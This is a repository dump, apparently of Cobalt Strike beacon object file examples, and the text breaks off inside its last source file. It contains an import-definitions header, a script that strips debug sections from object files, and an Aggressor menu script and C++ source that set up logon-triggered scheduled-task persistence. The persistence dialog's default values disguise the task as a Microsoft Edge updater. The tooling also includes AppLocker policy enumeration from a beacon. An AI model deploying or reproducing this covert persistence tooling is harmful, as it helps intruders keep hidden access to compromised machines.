45 | DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen);
46 |
47 |
48 | /* Memory */
49 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
50 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
51 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes);
52 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t);
53 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t);
54 |
55 |
56 | /* Process */
57 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
58 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
60 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength);
61 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process);
62 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
63 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);
64 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
65 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid);
66 | DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize);
67 |
68 |
69 | /* GetLast Error */
70 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID);
71 |
72 |
73 | /* Directories */
74 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR);
75 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes);
76 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName);
77 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR);
78 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);
79 |
80 |
81 | /* strings */
82 | DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch);
83 | DECLSPEC_IMPORT LPSTR __cdecl MSVCRT$strchr(LPSTR, int);
84 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR);
85 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR);
86 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t);
87 | DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...);
88 | DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...);
89 | DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list);
90 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR);
91 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2);
92 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2);
93 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2);
94 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength);
95 | DECLSPEC_IMPORT int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString);
96 | DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);
97 |
98 |
99 | /* RPC */
100 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String);
101 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid);
102 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid);
103 |
104 |
105 | /* Random */
106 | DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial);
107 | DECLSPEC_IMPORT int WINAPI MSVCRT$rand();
108 |
109 |
110 | /* DateTime */
111 | DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time);
112 |
113 |
114 | /* SystemInfo */
115 | DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);
116 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature);
117 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
118 |
119 |
120 |
121 |
122 |
123 |
124 | #ifdef __cplusplus
125 | }
126 | #endif
127 |
128 |
129 | /* helper macros */
130 |
131 | #define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) /* trustedsec */
132 | #define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr) /* trustedsec */
133 | #define ZeroMemory(address, size) memset(address, 0, size);
134 |
135 |
136 | /* ----------------------------------- DEFINITIONS ------------------------------------------*/
137 |
138 | /* COM */
139 | #define CLSIDFromString OLE32$CLSIDFromString
140 | #define CoCreateInstance OLE32$CoCreateInstance
141 | #define CoInitializeEx OLE32$CoInitializeEx
142 | #define CoUninitialize OLE32$CoUninitialize
143 | #define IIDFromString OLE32$IIDFromString
144 | #define CoInitialize OLE32$CoInitialize
145 | #define CoCreateInstanceEx OLE32$CoCreateInstanceEx
146 | #define SysAllocString OleAut32$SysAllocString
147 | #define VariantInit OLEAUT32$VariantInit
148 | #define CoInitialize OLE32$CoInitialize
149 | #define CoInitializeSecurity OLE32$CoInitializeSecurity
150 |
151 | /* memory */
152 | #define HeapFree KERNEL32$HeapFree
153 | #define HeapAlloc KERNEL32$HeapAlloc
154 | #define HeapReAlloc KERNEL32$HeapReAlloc
155 | #define memcpy MSVCRT$memcpy
156 | #define memset MSVCRT$memset
157 |
158 |
159 | /* process */
160 | #define GetProcessHeap KERNEL32$GetProcessHeap
161 | #define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW
162 | #define OpenProcess KERNEL32$OpenProcess
163 | #define VirtualQueryEx KERNEL32$VirtualQueryEx
164 | #define GetProcessId KERNEL32$GetProcessId
165 | #define ReadProcessMemory KERNEL32$ReadProcessMemory
166 | #define GetCurrentProcess KERNEL32$GetCurrentProcess
167 | #define Sleep KERNEL32$Sleep
168 | #define LookupPrivilegeValueW ADVAPI32$LookupPrivilegeValueW
169 | #define GetModuleFileNameExW PSAPI$GetModuleFileNameExW
170 |
171 |
172 | /* debug */
173 | #define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64
174 | #define SymInitializeW DBGHELP$SymInitializeW
175 | #define SymCleanup DBGHELP$SymCleanup
176 |
177 |
178 | /* filesystem */
179 | #define CreateFileA KERNEL32$CreateFileA
180 | #define SetFilePointer KERNEL32$SetFilePointer
181 | #define SetFilePointerEx KERNEL32$SetFilePointerEx
182 | #define WriteFile KERNEL32$WriteFile
183 | #define GetFileSizeEx KERNEL32$GetFileSizeEx
184 | #define GetFileVersionInfoSizeW VERSION$GetFileVersionInfoSizeW
185 | #define GetFileVersionInfoW VERSION$GetFileVersionInfoW
186 | #define VerQueryValueW VERSION$VerQueryValueW
187 |
188 | /* error */
189 | #define GetLastError KERNEL32$GetLastError
190 |
191 |
192 | /* registry */
193 | #define RegOpenKeyExA ADVAPI32$RegOpenKeyExA
194 | #define RegDeleteTreeA ADVAPI32$RegDeleteTreeA
195 | #define RegCreateKeyExA ADVAPI32$RegCreateKeyExA
196 | #define RegSetValueExA ADVAPI32$RegSetValueExA
197 |
198 |
199 | /* directory */
200 | #define RemoveDirectoryA KERNEL32$RemoveDirectoryA
201 | #define CreateDirectoryA KERNEL32$CreateDirectoryA
202 | #define MoveFileA KERNEL32$MoveFileA
203 | #define PathIsDirectoryA SHLWAPI$PathIsDirectoryA
204 | #define PathFileExistsA SHLWAPI$PathFileExistsA
205 |
206 |
207 | /* strings */
208 | #define strchr MSVCRT$strchr
209 | #define strcat_s MSVCRT$strcat_s
210 | #define strcpy_s MSVCRT$strcpy_s
211 | #define strncpy_s MSVCRT$strncpy_s
212 | #define snprintf MSVCRT$_snprintf /*beacon can't find snprintf without the preceeding '_' */
213 | #define wcslen MSVCRT$wcslen
214 | #define vsnprintf MSVCRT$vsnprintf
215 | #define lstrlenW KERNEL32$lstrlenW
216 | #define lstrcpyW KERNEL32$lstrcpyW
217 | #define strcmp MSVCRT$strcmp
218 | #define lstrcpyA Kernel32$lstrcpyA
219 | #define lstrcatA Kernel32$lstrcatA
220 | #define lstrcpynA Kernel32$lstrcpynA
221 | #define lstrlenW KERNEL32$lstrlenW
222 | #define lstrcpyW KERNEL32$lstrcpyW
223 | #define sprintf MSVCRT$sprintf
224 |
225 |
226 | /* RPC */
227 | #define RpcStringFreeA Rpcrt4$RpcStringFreeA
228 | #define UuidCreate Rpcrt4$UuidCreate
229 | #define UuidToStringA Rpcrt4$UuidToStringA
230 |
231 |
232 | /* Random */
233 | #define srand MSVCRT$srand
234 | #define rand MSVCRT$rand
235 |
236 |
237 | /* DateTime */
238 | #define time MSVCRT$time
239 |
240 |
241 | /* SystemInfo */
242 | #define GetSystemInfo KERNEL32$GetSystemInfo
243 | #define GetUserNameW ADVAPI32$GetUserNameW
244 | #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent
245 |
246 | #else
247 |
248 | #endif
249 |
--------------------------------------------------------------------------------
/examples/applocker-enumerator/resources/strip_bof.ps1:
--------------------------------------------------------------------------------
1 | function strip-bof {
2 | <#
3 | .SYNOPSIS
4 | Removes debug symbols from a beacon object file
5 |
6 | Heavily dependent on code by Matthew Graeber (@mattifestation)
7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1
8 | Author: Yasser Alhazmi (#yas_o_h)
9 | License: BSD 3-Clause
10 |
11 | .PARAMETER Path
12 |
13 | Specifies a path to one or more object file locations.
14 |
15 | .EXAMPLE
16 |
17 | C:\PS>strip-bof -Path main.obj
18 |
19 | #>
20 |
21 | [CmdletBinding()] Param (
22 | [Parameter(Position = 0, Mandatory = $True)]
23 | [ValidateScript({ Test-Path $_ })]
24 | [String]
25 | $Path
26 | )
27 |
28 |
29 | $Code = @'
30 | using System;
31 | using System.IO;
32 | using System.Text;
33 |
34 | namespace COFF
35 | {
36 |
37 |
38 | public class SECTION_HEADER
39 | {
40 | public string Name;
41 | public uint PhysicalAddress;
42 | public uint VirtualSize;
43 | public uint VirtualAddress;
44 | public uint SizeOfRawData;
45 | public uint PointerToRawData;
46 | public uint PointerToRelocations;
47 | public uint PointerToLinenumbers;
48 | public ushort NumberOfRelocations;
49 | public ushort NumberOfLinenumbers;
50 | public uint Characteristics;
51 | public Byte[] RawData;
52 |
53 | public SECTION_HEADER(BinaryReader br)
54 | {
55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0];
56 | this.PhysicalAddress = br.ReadUInt32();
57 | this.VirtualSize = this.PhysicalAddress;
58 | this.VirtualAddress = br.ReadUInt32();
59 | this.SizeOfRawData = br.ReadUInt32();
60 | this.PointerToRawData = br.ReadUInt32();
61 | this.PointerToRelocations = br.ReadUInt32();
62 | this.PointerToLinenumbers = br.ReadUInt32();
63 | this.NumberOfRelocations = br.ReadUInt16();
64 | this.NumberOfLinenumbers = br.ReadUInt16();
65 | this.Characteristics = br.ReadUInt32();
66 | }
67 | }
68 |
69 |
70 | public class HEADER
71 | {
72 | public ushort Machine;
73 | public ushort NumberOfSections;
74 | public uint TimeDateStamp;
75 | public uint PointerToSymbolTable;
76 | public uint NumberOfSymbols;
77 | public ushort SizeOfOptionalHeader;
78 | public ushort Characteristics;
79 |
80 | public HEADER(BinaryReader br)
81 | {
82 | this.Machine = br.ReadUInt16();
83 | this.NumberOfSections = br.ReadUInt16();
84 | this.TimeDateStamp = br.ReadUInt32();
85 | this.PointerToSymbolTable = br.ReadUInt32();
86 | this.NumberOfSymbols = br.ReadUInt32();
87 | this.SizeOfOptionalHeader = br.ReadUInt16();
88 | this.Characteristics = br.ReadUInt16();
89 | }
90 | }
91 | }
92 | '@
93 |
94 | Add-Type -TypeDefinition $Code
95 | Write-Host "enumerating sections..."
96 | try {
97 | $FileStream = [IO.File]::OpenRead($Path)
98 | $BinaryReader = New-Object IO.BinaryReader($FileStream)
99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader)
100 |
101 | # Parse section headers
102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections)
103 |
104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++)
105 | {
106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader)
107 |
108 | if($SectionHeaders[$i].Name.Contains("debug")){
109 | Write-Host "found debug section.. zeroing it..."
110 | $FileStream.Close();
111 | $FileStream2 = [IO.File]::OpenWrite($Path)
112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null
113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){
114 | $FileStream2.WriteByte(0)
115 | }
116 | Write-Host "closing stream...";
117 | $FileStream2.Close();
118 | Write-Host "done!";
119 | return;
120 | }
121 | }
122 | } catch {
123 | Add-Type -AssemblyName PresentationFramework
124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString());
125 | return;
126 | }
127 | }
--------------------------------------------------------------------------------
/examples/demo-bof.cna:
--------------------------------------------------------------------------------
1 | ########################################################## BOF ############################################################
2 |
3 | #############
4 | # adapted from TrustedSec!
5 | # $1 beacon
6 | # $2 name of the technique
7 | #############
8 | sub readbof {
9 | local('$barch $handle $data $args');
10 | $barch = barch($1);
11 |
12 | # read in the right BOF file
13 | println(script_resource("$2 $+ / $+ $2 $+ . $+ $barch $+ .obj"));
14 | $handle = openf(script_resource("$2 $+ / $+ $2 $+ . $+ $barch $+ .obj"));
15 | $data = readb($handle, -1);
16 | closef($handle);
17 | return $data;
18 | }
19 |
20 | ########################################################## schtask ############################################################
21 |
22 |
23 | sub schtask_callback {
24 | local('$task_name $task_author $task_description $payload_path $parameters')
25 | $bid = $3['bid'];
26 | $task_name = $3['task_name'];
27 | $task_author = $3['task_author'];
28 | $task_description = $3['task_description'];
29 | $payload_path = $3['payload_path'];
30 | $parameters = $3['parameters'];
31 |
32 |
33 | if($payload_path eq ""){
34 | show_message("the payload path cannot be empty! Exiting...");
35 | return;
36 | }
37 |
38 | $args = bof_pack($bid, "ZZZZZ", $task_name, $task_author, $task_description, $payload_path, $parameters);
39 |
40 | btask($bid, "Tasked beacon to run scheduled tasks with arguments: \n" .
41 | "\c2[*] task name: " . $task_name . "\n" .
42 | "\c2[*] task author: " . $task_author . "\n" .
43 | "\c2[*] task description: " . $task_description . "\n" .
44 | "\c2[*] payload_path: " . $payload_path . "\n" .
45 | "\c2[*] parameters: " . $parameters
46 | );
47 | beacon_inline_execute($bid, readbof($bid, "scheduled-tasks"), "go", $args);
48 | }
49 |
50 |
51 | sub dialog_scheduled_tasks{
52 | local('$dialog');
53 |
54 | $dialog = dialog("scheduled tasks",
55 | %(bid => $1, task_name => "MicrosoftEdgeUpdateMachineUIA", task_author => "Microsoft Corperation", task_description => "Keeps your Microsoft software up to date. If this task is disabled or stopped, your Microsoft software will not be up to date.", payload_path => "C:\\windows\\system32\\cmd.exe", parameters => "/c notepad.exe"), &schtask_callback);
56 | dialog_description($dialog, "Basic persistence with scheduled tasks, command will run on the current user login");
57 | drow_text($dialog, "task_name", "Task name: ");
58 | drow_text($dialog, "task_author", "Task author: ");
59 | drow_text($dialog, "task_description", "Task description:" );
60 | drow_text($dialog, "payload_path", "Payload path: ");
61 | drow_text($dialog, "parameters", "Payload parameters: ");
62 | dbutton_action($dialog, "Launch");
63 | dialog_show($dialog);
64 | }
65 |
66 |
67 |
68 | ########################################################## applocker ###########################################################
69 |
70 | sub applocker_enum {
71 | beacon_inline_execute($1, readbof($1, "applocker-enumerator"), "go", $args);
72 | }
73 |
74 |
75 | ########################################################## GUI #############################################################
76 | popup beacon_bottom {
77 | menu "Persistence" {
78 | item "Scheduled Tasks"{
79 | local('$bid');
80 | foreach $bid ($1) {
81 | dialog_scheduled_tasks($bid);
82 | } # forearch
83 | } # schtask
84 | } #Persistence menu
85 |
86 | menu "Enumeration" {
87 | item "Applocker Policy" {
88 | local('$bid');
89 | foreach $bid ($1) {
90 | applocker_enum($bid);
91 | } # forearch
92 | }
93 | }
94 | }
95 |
--------------------------------------------------------------------------------
/examples/example-bof.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31605.320
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "scheduled-tasks", "scheduled-tasks\scheduled-tasks.vcxproj", "{9D519B22-0A27-4CD8-9F64-1E490AD180E4}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "applocker-enumerator", "applocker-enumerator\applocker-enumerator.vcxproj", "{CB51A85D-1A99-41C7-95D9-A393C65D4EA1}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | BOF|x64 = BOF|x64
13 | BOF|x86 = BOF|x86
14 | Debug|x64 = Debug|x64
15 | Debug|x86 = Debug|x86
16 | Release|x64 = Release|x64
17 | Release|x86 = Release|x86
18 | EndGlobalSection
19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
20 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x64.ActiveCfg = BOF|x64
21 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x64.Build.0 = BOF|x64
22 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x86.ActiveCfg = BOF|Win32
23 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.BOF|x86.Build.0 = BOF|Win32
24 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x64.ActiveCfg = Debug|x64
25 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x64.Build.0 = Debug|x64
26 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x86.ActiveCfg = Debug|Win32
27 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Debug|x86.Build.0 = Debug|Win32
28 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x64.ActiveCfg = Release|x64
29 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x64.Build.0 = Release|x64
30 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x86.ActiveCfg = Release|Win32
31 | {9D519B22-0A27-4CD8-9F64-1E490AD180E4}.Release|x86.Build.0 = Release|Win32
32 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x64.ActiveCfg = BOF|x64
33 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x64.Build.0 = BOF|x64
34 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x86.ActiveCfg = BOF|Win32
35 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.BOF|x86.Build.0 = BOF|Win32
36 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x64.ActiveCfg = Debug|x64
37 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x64.Build.0 = Debug|x64
38 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x86.ActiveCfg = Debug|Win32
39 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Debug|x86.Build.0 = Debug|Win32
40 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x64.ActiveCfg = Release|x64
41 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x64.Build.0 = Release|x64
42 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x86.ActiveCfg = Release|Win32
43 | {CB51A85D-1A99-41C7-95D9-A393C65D4EA1}.Release|x86.Build.0 = Release|Win32
44 | EndGlobalSection
45 | GlobalSection(SolutionProperties) = preSolution
46 | HideSolutionNode = FALSE
47 | EndGlobalSection
48 | GlobalSection(ExtensibilityGlobals) = postSolution
49 | SolutionGuid = {6FF942F9-422A-4E32-8B53-F9E1313E3F75}
50 | EndGlobalSection
51 | EndGlobal
52 |
--------------------------------------------------------------------------------
/examples/scheduled-tasks/Source.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "bofdefs.h"
5 |
6 |
7 | #pragma comment (lib, "taskschd.lib");
8 | #define UNLEN 256
9 |
10 |
11 |
12 | #pragma region error_handling
13 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
14 | BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
15 | #ifdef BOF
16 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
17 | #else
18 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
19 | #endif // BOF
20 |
21 | return FALSE;
22 | }
23 | #pragma endregion
24 |
25 |
26 |
27 | BOOL com_init() {
28 | HRESULT hr;
29 |
30 | hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
31 | if (FAILED(hr))
32 | return print_error("CoInitializeEx", hr);
33 |
34 | return TRUE;
35 | }
36 |
37 |
38 | BSTR user_get_username() {
39 |
40 | DWORD max_len = UNLEN + 1;
41 | WCHAR username[UNLEN + 1];
42 | if (!GetUserNameW(username, &max_len)) {
43 | print_error("GetUserNameW", GetLastError());
44 | return NULL;
45 | }
46 |
47 | return SysAllocString(username);
48 | }
49 |
50 | BOOL task_create(BSTR task_name, BSTR author, BSTR description, BSTR exec_path, BSTR exec_args) {
51 |
52 | HRESULT hr;
53 | CLSID TaskScheduler_CLSID;
54 |
55 | IID ILogonTrigger_IID, IExecAction_IID, ITaskService_IID;
56 |
57 | ITaskService* pService = NULL;
58 | ITaskFolder* pRootFolder = NULL;
59 | ITaskDefinition* pTask = NULL;
60 | IRegistrationInfo* pRegInfo = NULL;
61 | ITaskSettings* pSettings = NULL;
62 | ITriggerCollection* pTriggerCollection = NULL;
63 | ITrigger* pTrigger = NULL;
64 | ILogonTrigger* pLogonTrigger;
65 | IActionCollection* pActionCollection = NULL;
66 | IAction* pAction = NULL;
67 | IExecAction* pExecAction = NULL;
68 | IRegisteredTask* pRegisteredTask = NULL;
69 |
70 |
71 | /* string IIDs */
72 | wchar_t* szITaskService = L"{2faba4c7-4da9-4013-9697-20cc3fd40f85}";
73 | wchar_t* szILogonTrigger = L"{72DADE38-FAE4-4b3e-BAF4-5D009AF02B1C}";
74 | wchar_t* szCLSID_TaskScheduler = L"{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}";
75 | wchar_t* szIExecAction = L"{4c3d624d-fd6b-49a3-b9b7-09cb3cd3f047}";
76 |
77 |
78 | /* */
79 | hr = CLSIDFromString(szCLSID_TaskScheduler, &TaskScheduler_CLSID);
80 | if (FAILED(hr))
81 | {
82 | return print_error("CLSIDFromString szCLSID_TaskScheduler", hr);
83 | }
84 |
85 | IIDFromString(szITaskService, &ITaskService_IID);
86 | IIDFromString(szILogonTrigger, &ILogonTrigger_IID);
87 | IIDFromString(szIExecAction, &IExecAction_IID);
88 |
89 |
90 |
91 | //VARIANT vEmpty = {vEmpty.vt = VT_I4, vEmpty.bVal = 0};
92 | VARIANT vEmptyString = { vEmptyString.vt = VT_EMPTY};
93 |
94 | hr = CoCreateInstance(TaskScheduler_CLSID, NULL, CLSCTX_INPROC_SERVER, ITaskService_IID, (LPVOID*)&pService);
95 | if (FAILED(hr))
96 | return print_error("CoCreateInstance", hr);
97 |
98 | hr = pService->Connect(vEmptyString, vEmptyString, vEmptyString, vEmptyString);
99 | if (FAILED(hr)) {
100 | pService->Release();
101 | return print_error("pService->Connect", hr);
102 | }
103 |
104 | hr = pService->GetFolder(L"\\", &pRootFolder);
105 | if (FAILED(hr)) {
106 | pService->Release();
107 | return print_error("pService->GetFolder", hr);
108 | }
109 |
110 |
111 | hr = pService->NewTask(0, &pTask);
112 | pService->Release(); /* not needed anymore */
113 |
114 | if (FAILED(hr)) {
115 | pRootFolder->Release();
116 | return print_error("pService->NewTask", hr);
117 | }
118 |
119 |
120 | hr = pTask->get_RegistrationInfo(&pRegInfo);
121 | if (FAILED(hr)) {
122 | pRootFolder->Release();
123 | pTask->Release();
124 | return print_error("pTask->get_RegistrationInfo", hr);
125 | }
126 |
127 |
128 | hr = pRegInfo->put_Author(author);
129 | if (FAILED(hr)) {
130 | pRootFolder->Release();
131 | pTask->Release();
132 | return print_error("pRegInfo->put_Author", hr);
133 | }
134 |
135 |
136 | hr = pRegInfo->put_Description(description);
137 | if (FAILED(hr)) {
138 | pRootFolder->Release();
139 | pTask->Release();
140 | return print_error("pRegInfo->put_Description", hr);
141 | }
142 |
143 | hr = pTask->get_Settings(&pSettings);
144 | if (FAILED(hr)) {
145 | pRootFolder->Release();
146 | pTask->Release();
147 | return print_error("pTask->get_Settings", hr);
148 | }
149 |
150 | hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
151 | pSettings->Release();
152 | if (FAILED(hr)) {
153 | pRootFolder->Release();
154 | pTask->Release();
155 | return print_error("pSettings->put_StartWhenAvailable", hr);
156 | }
157 |
158 |
159 | hr = pTask->get_Triggers(&pTriggerCollection);
160 | if (FAILED(hr)) {
161 | pRootFolder->Release();
162 | pTask->Release();
163 | return print_error("pTask->get_Triggers", hr);
164 | }
165 |
166 |
167 | hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
168 | pTriggerCollection->Release();
169 | if (FAILED(hr)) {
170 | pRootFolder->Release();
171 | pTask->Release();
172 | return print_error("pTriggerCollection->Create", hr);
173 | }
174 |
175 |
176 | hr = pTrigger->QueryInterface(ILogonTrigger_IID, (LPVOID*)&pLogonTrigger);
177 | pTrigger->Release();
178 | if (FAILED(hr)) {
179 | pRootFolder->Release();
180 | pTask->Release();
181 | return print_error("pTrigger->QueryInterface", hr);
182 | }
183 |
184 | hr = pLogonTrigger->put_Id(L"Trigger 1");
185 | if (FAILED(hr)) { /* msdn didn't return on failure */
186 | print_error("pLogonTrigger->put_Id", hr);
187 | }
188 |
189 | hr = pLogonTrigger->put_UserId(user_get_username());
190 | if (FAILED(hr)) {
191 | pRootFolder->Release();
192 | pTask->Release();
193 | return print_error("pTrigger->QueryInterface", hr);
194 | }
195 |
196 |
197 | hr = pTask->get_Actions(&pActionCollection);
198 | if (FAILED(hr)) {
199 | pRootFolder->Release();
200 | pTask->Release();
201 | return print_error("pTask->get_Actions", hr);
202 | }
203 |
204 | hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
205 | pActionCollection->Release();
206 | if (FAILED(hr)) {
207 | pRootFolder->Release();
208 | pTask->Release();
209 | return print_error("pActionCollection->Create", hr);
210 | }
211 |
212 |
213 | pAction->QueryInterface(IExecAction_IID, (LPVOID*)&pExecAction);
214 | pAction->Release();
215 | if (FAILED(hr)) {
216 | pRootFolder->Release();
217 | pTask->Release();
218 | return print_error("pAction->QueryInterface", hr);
219 | }
220 |
221 |
222 | hr = pExecAction->put_Path(exec_path);
223 | if (FAILED(hr)) {
224 | pRootFolder->Release();
225 | pTask->Release();
226 | return print_error("pExecAction->put_Path", hr);
227 | }
228 |
229 | hr = pExecAction->put_Arguments(exec_args);
230 | if (FAILED(hr)) {
231 | pRootFolder->Release();
232 | pTask->Release();
233 | return print_error("pExecAction->put_Arguments", hr);
234 | }
235 |
236 |
237 | hr = pRootFolder->RegisterTaskDefinition(task_name, pTask,
238 | TASK_CREATE_OR_UPDATE,
239 | vEmptyString, vEmptyString,
240 | TASK_LOGON_INTERACTIVE_TOKEN,
241 | vEmptyString,
